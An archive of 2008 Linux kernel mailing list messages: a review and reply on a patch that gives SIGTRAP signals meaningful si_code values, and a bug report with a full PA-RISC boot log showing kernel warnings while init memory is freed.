Path: news.gmane.org!not-for-mail
From: Roland McGrath <roland@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal -v2
Date: Fri, 26 Sep 2008 02:06:37 -0700 (PDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <20080926090637.9C0851541FA@magilla.localdomain>
References: <200809221602.32616.srinivasa@in.ibm.com>
	<20080923112812.GL29021@elte.hu>
	<20080923113001.GA12531@elte.hu>
	<200809231955.01564.srinivasa@in.ibm.com>
	<20080923143120.GD14041@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1222420054 26604 80.91.229.12 (26 Sep 2008 09:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 26 Sep 2008 09:07:34 +0000 (UTC)
Cc: Srinivasa Ds <srinivasa@in.ibm.com>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 26 11:08:30 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kj9JL-0000ZF-Bi
	for glpp-linux-parisc@gmane.org; Fri, 26 Sep 2008 11:08:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752963AbYIZJHW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 26 Sep 2008 05:07:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753289AbYIZJHW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 26 Sep 2008 05:07:22 -0400
Original-Received: from mx1.redhat.com ([66.187.233.31]:57664 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752963AbYIZJHU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 26 Sep 2008 05:07:20 -0400
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m8Q96erl007652;
	Fri, 26 Sep 2008 05:06:40 -0400
Original-Received: from gateway.sf.frob.com (vpn-12-106.rdu.redhat.com [10.11.12.106])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m8Q96c6G028488;
	Fri, 26 Sep 2008 05:06:39 -0400
Original-Received: from magilla.localdomain (magilla.sf.frob.com [198.49.250.228])
	by gateway.sf.frob.com (Postfix) with ESMTP
	id D6295357B; Fri, 26 Sep 2008 02:06:37 -0700 (PDT)
Original-Received: by magilla.localdomain (Postfix, from userid 5281)
	id 9C0851541FA; Fri, 26 Sep 2008 02:06:37 -0700 (PDT)
X-Fcc: ~/Mail/linus
Original-Cc: Alan Stern <stern@rowland.harvard.edu>
In-Reply-To: Ingo Molnar's message of  Tuesday, 23 September 2008 16:31:20 +0200 <20080923143120.GD14041@elte.hu>
Emacs: featuring the world's first municipal garbage collector!
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:799 gmane.linux.kernel:737573 gmane.linux.ports.ppc64.devel:47256
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/799>

I certainly have no objection in principle.  I doubt that any x86 userland
apps expect certain si_code values for SIGTRAP now, since the existing
values are not of any real use.  (Signal handlers get the thread.trap_no and
thread.error_code values from hardware to guess from, and debuggers via
ptrace get the hardware %db6 value to guess from.)  I do have a few comments.

If you're doing it, I think you should do the do_int3 case too,
so every machine-generated SIGTRAP has a meaningful si_code value.

The only use of send_sigtrap is for do_debug (and for faking that do_debug
happened in the syscall_trace_leave case).  You should consolidate all the
uses in both 32 and 64 to use send_sigtrap uniformly, change its signature
as needed.  I'm inclined to consolidate the si_code logic there, and just
pass it the hardware bits or let it get them from the thread_struct
(trap_nr, error_code, debugreg6).

About that si_code logic based on %db6.  There are some funny "sticky"
properties to how that register gets set in hardware.  Even reading the
hardware manuals doesn't always make it plain what to expect.  I wouldn't
want to testify that the patch's logic is correct in distinguishing which
event really just happened.  (I'm not sure, but I think it may also be
possible to have a single do_debug trap for both a single-step trap and a
hardware breakpoint trap generated by the same instruction.)  I know that
Alan Stern figured out a lot of the magic empirically a while back.  That
deserves a careful double-checking if we are now trying to make si_code
tell a clear and reliable story.


Thanks,
Roland
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Srinivasa DS <srinivasa@in.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC][PATCH] Demultiplexing SIGTRAP signal -v2
Date: Mon, 29 Sep 2008 19:04:15 +0530
Lines: 27
Approved: news@gmane.org
Message-ID: <48E0D957.5080907@in.ibm.com>
References: <200809221602.32616.srinivasa@in.ibm.com> <20080923112812.GL29021@elte.hu> <20080923113001.GA12531@elte.hu> <200809231955.01564.srinivasa@in.ibm.com> <20080923143120.GD14041@elte.hu> <20080926090637.9C0851541FA@magilla.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1222695251 10019 80.91.229.12 (29 Sep 2008 13:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 29 Sep 2008 13:34:11 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, linux-kernel@vger.kernel.org,
	akpm@linux-foundation.org, paulus@samba.org,
	linuxppc-dev@ozlabs.org, linux-parisc@vger.kernel.org,
	"H. Peter Anvin" <hpa@zytor.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Alan Stern <stern@rowland.harvard.edu>
To: Roland McGrath <roland@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Sep 29 15:35:08 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KkItB-0002jL-Uh
	for glpp-linux-parisc@gmane.org; Mon, 29 Sep 2008 15:34:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751502AbYI2NdJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 29 Sep 2008 09:33:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750910AbYI2NdI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 29 Sep 2008 09:33:08 -0400
Original-Received: from E23SMTP04.au.ibm.com ([202.81.18.173]:52723 "EHLO
	e23smtp04.au.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750819AbYI2NdG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 29 Sep 2008 09:33:06 -0400
Original-Received: from sd0109e.au.ibm.com (d23rh905.au.ibm.com [202.81.18.225])
	by e23smtp04.au.ibm.com (8.13.1/8.13.1) with ESMTP id m8TDVoVD005594;
	Mon, 29 Sep 2008 23:31:50 +1000
Original-Received: from d23av02.au.ibm.com (d23av02.au.ibm.com [9.190.235.138])
	by sd0109e.au.ibm.com (8.13.8/8.13.8/NCO v9.1) with ESMTP id m8TDX3Hx300698;
	Mon, 29 Sep 2008 23:33:04 +1000
Original-Received: from d23av02.au.ibm.com (loopback [127.0.0.1])
	by d23av02.au.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id m8TDX2SD016719;
	Mon, 29 Sep 2008 23:33:03 +1000
Original-Received: from [9.124.31.87] (Srinivasa-009124031087.in.ibm.com [9.124.31.87])
	by d23av02.au.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id m8TDX0ow016661;
	Mon, 29 Sep 2008 23:33:00 +1000
User-Agent: Thunderbird 2.0.0.16 (X11/20080724)
In-Reply-To: <20080926090637.9C0851541FA@magilla.localdomain>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:800 gmane.linux.kernel:738343 gmane.linux.ports.ppc64.devel:47280
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/800>

Roland McGrath wrote:
> I certainly have no objection in principle.  I doubt that any x86 userland
> apps expect certain si_code values for SIGTRAP now, since the existing
> values are not of any real use.  (Signal handlers get the thread.trap_no and
> thread.error_code values from hardware to guess from, and debuggers via
> ptrace get the hardware %db6 value to guess from.)  I do have a few comments.
> 
> If you're doing it, I think you should do the do_int3 case too,
> so every machine-generated SIGTRAP has a meaningful si_code value.

Roland
    Thanks for your comments.

>   I'm inclined to consolidate the si_code logic there, and just
> pass it the hardware bits or let it get them from the thread_struct
> (trap_nr, error_code, debugreg6).

That sounds like a good idea. Let me go through code and get back to you.

Thanks
  Srinivasa DS

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: HPPA64: badness while freeing init memory
Date: Tue, 30 Sep 2008 13:16:34 +0300 (EEST)
Lines: 303
Approved: news@gmane.org
Message-ID: <Pine.SOC.4.64.0809301312190.18858@math.ut.ee>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1222769814 30316 80.91.229.12 (30 Sep 2008 10:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2008 10:16:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Sep 30 12:17:48 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KkcIc-00022W-WA
	for glpp-linux-parisc@gmane.org; Tue, 30 Sep 2008 12:17:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751521AbYI3KQm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 30 Sep 2008 06:16:42 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751563AbYI3KQm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 30 Sep 2008 06:16:42 -0400
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:42355 "EHLO smtp2.it.da.ut.ee"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751521AbYI3KQk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 30 Sep 2008 06:16:40 -0400
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id C95EB73DFB8
	for <linux-parisc@vger.kernel.org>; Tue, 30 Sep 2008 13:16:34 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id D4575FD7A1; Tue, 30 Sep 2008 13:16:34 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id C08C2FD79B
	for <linux-parisc@vger.kernel.org>; Tue, 30 Sep 2008 13:16:34 +0300 (EEST)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/801>

Just tried 2.6.27-rc8 on a freshly installed HP 9000 L1000-44. With 
current config it boots fine but emits two badness messages while 
freeing unused initial memory (dmesg below).

I'm not subscribed to linux-parisc so please CC: any discussion to me.

Linux version 2.6.27-rc8 (mroos@hernes) (gcc version 4.3.2 (GCC) ) #1 SMP Tue Sep 30 09:26:39 EEST 2008
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: 64 bit PAT.
model 00005c90 00000491 00000000 00000002 2353fbcb 100000f0 00000008 000000b2 000000b2
vers  00000203
CPUID vers 17 rev 8 (0x00000228)
capabilities 0x1
model 9000/800/L1000-44
Total Memory: 3072 MB
initrd: 7f9c6000-7ffedd69
initrd: reserving 3f9c6000-3ffedd69 (mem_max c0000000)
On node 0 totalpages: 786432
free_area_init_node: node 0, pgdat 40407d40, node_mem_map 40ab3000
  Normal zone: 775680 pages, LIFO batch:31
SMP: bootstrap CPU ID is 0
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 775680
Kernel command line: root=/dev/sda5 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux-2.6.27-rc8
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 3078400k/3145728k available (2491k kernel code, 66664k reserved, 1124k data, 260k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000000100000000   (3072 MB)
      .init : 0x000000004054c000 - 0x000000004058d000   ( 260 kB)
      .data : 0x000000004036eea8 - 0x0000000040488000   (1124 kB)
      .text : 0x0000000040100000 - 0x000000004036eea8   (2491 kB)
SLUB: Genslabs=12, HWalign=64, Order=0-3, MinObjects=0, CPUs=8, Nodes=8
Calibrating delay loop... 878.18 BogoMIPS (lpj=4390912)
Mount-cache hash table entries: 256
Brought up 1 CPUs
net_namespace: 1536 bytes
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Rhapsody DC- 440 at 0xfffffffffffa0000 [160] { 0, 0x0, 0x5c9, 0x00004 }
2. Rhapsody DC- 440 at 0xfffffffffffa6000 [166] { 0, 0x0, 0x5c9, 0x00004 }
3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x095, 0x00009 }
4. Astro BC Runway Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x582, 0x0000b }
5. Elroy PCI Bridge at 0xfffffffffed30000 [0/0] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed32000 [0/1] { 13, 0x0, 0x782, 0x0000a }
7. Elroy PCI Bridge at 0xfffffffffed34000 [0/2] { 13, 0x0, 0x782, 0x0000a }
8. Elroy PCI Bridge at 0xfffffffffed36000 [0/3] { 13, 0x0, 0x782, 0x0000a }
9. Elroy PCI Bridge at 0xfffffffffed38000 [0/4] { 13, 0x0, 0x782, 0x0000a }
10. Elroy PCI Bridge at 0xfffffffffed3a000 [0/5] { 13, 0x0, 0x782, 0x0000a }
11. Elroy PCI Bridge at 0xfffffffffed3c000 [0/6] { 13, 0x0, 0x782, 0x0000a }
12. Elroy PCI Bridge at 0xfffffffffed3e000 [0/7] { 13, 0x0, 0x782, 0x0000a }
Enabling PDC_PAT chassis codes support v0.05
Releasing cpu 1 now, hpa=fffffffffffa6000
FP[1] enabled: Rev 1 Model 16
CPU(s): 2 x PA8500 (PCX-W) at 440.000000 MHz
Whole cache flush 282944 cycles, flushing 4771840 bytes 816911 cycles
Setting cache flush threshold to 100000 (2 CPUs online)
SBA found Astro 2.1 at 0xfffffffffed00000
Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
PCI: 0000:00:00.0 reg 10 io port: [0, 7f]
PCI: 0000:00:00.0 reg 14 32bit mmio: [0, 3ff]
PCI: 0000:00:00.0 reg 30 32bit mmio: [0, 3ffff]
PCI: 0000:00:01.0 reg 10 io port: [0, ff]
PCI: 0000:00:01.0 reg 14 64bit mmio: [0, 3ff]
PCI: 0000:00:01.0 reg 1c 64bit mmio: [0, 1fff]
pci 0000:00:01.0: supports D1
pci 0000:00:01.0: supports D2
PCI: 0000:00:01.1 reg 10 io port: [0, ff]
PCI: 0000:00:01.1 reg 14 64bit mmio: [f8020000, f80203ff]
PCI: 0000:00:01.1 reg 1c 64bit mmio: [f8040000, f8041fff]
pci 0000:00:01.1: supports D1
pci 0000:00:01.1: supports D2
PCI: 0000:00:02.0 reg 10 io port: [0, ff]
PCI: 0000:00:02.0 reg 14 32bit mmio: [0, ff]
PCI: 0000:00:02.0 reg 18 32bit mmio: [0, fff]
PCI: 0000:00:02.1 reg 10 io port: [0, ff]
PCI: 0000:00:02.1 reg 14 32bit mmio: [0, ff]
PCI: 0000:00:02.1 reg 18 32bit mmio: [0, fff]
PCI: 0000:00:04.0 reg 10 32bit mmio: [f8000000, f8000fff]
PCI: 0000:00:04.0 reg 14 io port: [0, 3f]
PCI: 0000:00:05.0 reg 10 32bit mmio: [0, fff]
PCI: 0000:00:05.0 reg 14 io port: [0, 3f]
Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
Elroy version TR4.0 (0x5) found at 0xfffffffffed34000
NOTICE: Enabling PCI Arbitration
Elroy version TR4.0 (0x5) found at 0xfffffffffed36000
PCI: 0000:18:00.0 reg 10 io port: [0, 7f]
PCI: 0000:18:00.0 reg 14 32bit mmio: [0, 3ff]
PCI: 0000:18:00.0 reg 30 32bit mmio: [0, 3ffff]
Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
NOTICE: Enabling PCI Arbitration
Elroy version TR4.0 (0x5) found at 0xfffffffffed3a000
NOTICE: Enabling PCI Arbitration
Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
NOTICE: Enabling PCI Arbitration
Elroy version TR4.0 (0x5) found at 0xfffffffffed3e000
NOTICE: Enabling PCI Arbitration
powersw: Soft power switch support not available.
NET: Registered protocol family 2
IP route cache hash table entries: 131072 (order: 8, 1048576 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
NET: Registered protocol family 1
checking if image is initramfs... it is
Freeing initrd memory: 6303k freed
Chassis warnings not supported.
unwind_init: start = 0x403e4e84, end = 0x40407a14, entries = 8889
Performance monitoring counters enabled for Rhapsody DC- 440
msgmni has been set to 6026
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 254)
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
Serial: 8250/16550 driver4 ports, IRQ sharing enabled
serial 0000:00:04.0: enabling device (0146 -> 0147)
0000:00:04.0: ttyS0 at MMIO 0xfffffffff8000000 (irq = 70) is a 16550A
console handover: boot [ttyB0] -> real [ttyS0]
0000:00:04.0: ttyS1 at MMIO 0xfffffffff8000008 (irq = 70) is a 16550A
0000:00:04.0: ttyS2 at MMIO 0xfffffffff8000010 (irq = 70) is a 16550A
serial 0000:00:05.0: enabling device (0140 -> 0143)
0000:00:05.0: ttyS3 at MMIO 0xfffffffff8005000 (irq = 71) is a 16550A
Couldn't register serial port 0000:00:05.0: -28
brd: module loaded
mice: PS/2 mouse device common for all mice
TCP bic registered
NET: Registered protocol family 17
Freeing unused kernel memory: <0>------------[ cut here ]------------
Badness at kernel/smp.c:332

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Not tainted
r00-03  000000ff0804ff0e 0000000040544b00 0000000040175674 0000000040494030
r04-07  000000004053cb00 000000004052f880 0000000000000000 0000000040410cf0
r08-11  00000000ff850460 0000000000000001 000000004052f880 0000000000000000
r12-15  0000000040410cf8 00000000000000fa 0000000000000000 00000000000000ff
r16-19  0000000040472550 000000004053fb00 000000004058a400 000000004058d000
r20-23  0000000000000000 000000004058d000 0000000040532ec0 0000000000000001
r24-27  0000000000000000 000000004052f880 0000000000000003 000000004053cb00
r28-31  000000000800000e 00000000ff8504a0 00000000ff850610 0000000000000000
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401753c8 00000000401753cc
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe14050460
 CPU:        0   CR30: 00000000ff850000 CR31: 0000000000008020
 ORIG_R28: 00000000ff8504e0
 IAOQ[0]: smp_call_function_mask+0x48/0x2c8
 IAOQ[1]: smp_call_function_mask+0x4c/0x2c8
 RP(r2): smp_call_function+0x2c/0x38
Backtrace:
 [<0000000040175674>] smp_call_function+0x2c/0x38
 [<0000000040151fc0>] on_each_cpu+0x28/0x68
 [<000000004011ad9c>] flush_data_cache+0x24/0x30
 [<000000004011a23c>] free_initmem+0x94/0x338
 [<00000000401193f4>] init_post+0x1c/0x228
 [<000000004054c4b4>] kernel_init+0x34c/0x380

------------[ cut here ]------------
Badness at kernel/smp.c:219

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001110 Tainted: G        W
r00-03  000000ff0804ff0e 000000004053f300 00000000401754b0 000000004052f880
r04-07  000000004053cb00 0000000000000001 0000000000000000 0000000040410cf0
r08-11  00000000ff850460 0000000000000001 000000004052f880 0000000000000000
r12-15  0000000040410cf8 00000000000000fa 0000000000000000 00000000000000ff
r16-19  0000000040472550 000000004053fb00 000000004058a400 0000000000000038
r20-23  00000000ff850460 0000000000000000 00000000ff8504d8 0000000000000001
r24-27  0000000000000000 000000004052f880 0000000000000001 000000004053cb00
r28-31  000000000800000e 00000000ff8505e0 00000000ff8506d0 0000000000000000
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040175298 000000004017529c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000002fe14050650
 CPU:        0   CR30: 00000000ff850000 CR31: 0000000000008020
 ORIG_R28: 0000000040104084
 IAOQ[0]: smp_call_function_single+0x38/0x120
 IAOQ[1]: smp_call_function_single+0x3c/0x120
 RP(r2): smp_call_function_mask+0x130/0x2c8
Backtrace:
 [<00000000401754b0>] smp_call_function_mask+0x130/0x2c8
 [<0000000040175674>] smp_call_function+0x2c/0x38
 [<0000000040151fc0>] on_each_cpu+0x28/0x68
 [<000000004011ad9c>] flush_data_cache+0x24/0x30
 [<000000004011a23c>] free_initmem+0x94/0x338
 [<00000000401193f4>] init_post+0x1c/0x228
 [<000000004054c4b4>] kernel_init+0x34c/0x380

260k freed
SCSI subsystem initialized
sym53c8xx 0000:00:01.0: enabling device (0140 -> 0143)
sym0: <896> rev 0x5 at pci 0000:00:01.0 irq 67
sym0: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
Linux Tulip driver version 1.1.15-NAPI (Feb 27, 2007)
tulip 0000:00:00.0: enabling device (0140 -> 0143)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff8006000, 00:10:83:fe:9c:b0, IRQ 66.
sym53c8xx 0000:00:01.1: enabling device (0146 -> 0147)
sym1: <896> rev 0x5 at pci 0000:00:01.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:2:0: Direct-Access     SEAGATE  ST136403LC       HP01 PQ: 0 ANSI: 2
scsi target1:0:2: tagged command queuing enabled, command queue depth 16.
scsi target1:0:2: Beginning Domain Validation
scsi target1:0:2: asynchronous
scsi target1:0:2: wide asynchronous
scsi target1:0:2: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
scsi target1:0:2: Domain Validation skipping write tests
scsi target1:0:2: Ending Domain Validation
sym53c8xx 0000:00:02.0: enabling device (0140 -> 0143)
sym2: <875> rev 0x14 at pci 0000:00:02.0 irq 68
sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.2.3
scsi 2:0:2:0: Direct-Access     SEAGATE  ST136403LC       HP01 PQ: 0 ANSI: 2
scsi target2:0:2: tagged command queuing enabled, command queue depth 16.
scsi target2:0:2: Beginning Domain Validation
scsi target2:0:2: asynchronous
scsi target2:0:2: wide asynchronous
scsi target2:0:2: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
scsi target2:0:2: Domain Validation skipping write tests
scsi target2:0:2: Ending Domain Validation
sym53c8xx 0000:00:02.1: enabling device (0140 -> 0143)
sym3: <875> rev 0x14 at pci 0000:00:02.1 irq 69
sym3: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym3: SCSI BUS has been reset.
scsi3 : sym-2.2.3
scsi 3:0:2:0: CD-ROM            HP       DVD-ROM 304      2.00 PQ: 0 ANSI: 2
scsi target3:0:2: Beginning Domain Validation
scsi target3:0:2: asynchronous
scsi target3:0:2: FAST-20 SCSI 20.0 MB/s ST (50 ns, offset 16)
scsi target3:0:2: Domain Validation skipping write tests
scsi target3:0:2: Ending Domain Validation
tulip 0000:18:00.0: enabling device (0140 -> 0143)
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth1: Digital DS21142/43 Tulip rev 65 at MMIO 0xfffffffff9840000, 00:10:83:fb:99:c0, IRQ 72.
Driver 'sd' needs updating - please use bus_type methods
sd 1:0:2:0: [sda] 71132960 512-byte hardware sectors (36420 MB)
sd 1:0:2:0: [sda] Write Protect is off
sd 1:0:2:0: [sda] Mode Sense: 9f 00 10 08
sd 1:0:2:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 1:0:2:0: [sda] 71132960 512-byte hardware sectors (36420 MB)
sd 1:0:2:0: [sda] Write Protect is off
sd 1:0:2:0: [sda] Mode Sense: 9f 00 10 08
sd 1:0:2:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3 < sda5<4>Driver 'sr' needs updating - please use bus_type methods
 sda6 >
sd 1:0:2:0: [sda] Attached SCSI disk
sd 2:0:2:0: [sdb] 71132960 512-byte hardware sectors (36420 MB)
sd 2:0:2:0: [sdb] Write Protect is off
sd 2:0:2:0: [sdb] Mode Sense: 9f 00 10 08
sd 2:0:2:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
sd 2:0:2:0: [sdb] 71132960 512-byte hardware sectors (36420 MB)
sd 2:0:2:0: [sdb] Write Protect is off
sd 2:0:2:0: [sdb] Mode Sense: 9f 00 10 08
sd 2:0:2:0: [sdb] Write cache: disabled, read cache: enabled, supports DPO and FUA
 sdb: unknown partition table
sd 2:0:2:0: [sdb] Attached SCSI disk
sr0: scsi3-mmc drive: 0x/0x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.20
sr 3:0:2:0: Attached scsi CD-ROM sr0
sd 1:0:2:0: Attached scsi generic sg0 type 0
sd 2:0:2:0: Attached scsi generic sg1 type 0
sr 3:0:2:0: Attached scsi generic sg2 type 5
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
udevd version 125 started
Adding 1349420k swap on /dev/sda6.  Priority:-1 extents:1 across:1349420k
EXT3 FS on sda5, internal journal
LASI 82596 driver - Revision: 1.30
loop: module loaded
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
NET: Registered protocol family 10
lo: Disabled Privacy Extensions
eth0: no IPv6 routers present

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA64: badness while freeing init memory
Date: Tue, 30 Sep 2008 11:14:36 -0400
Lines: 18
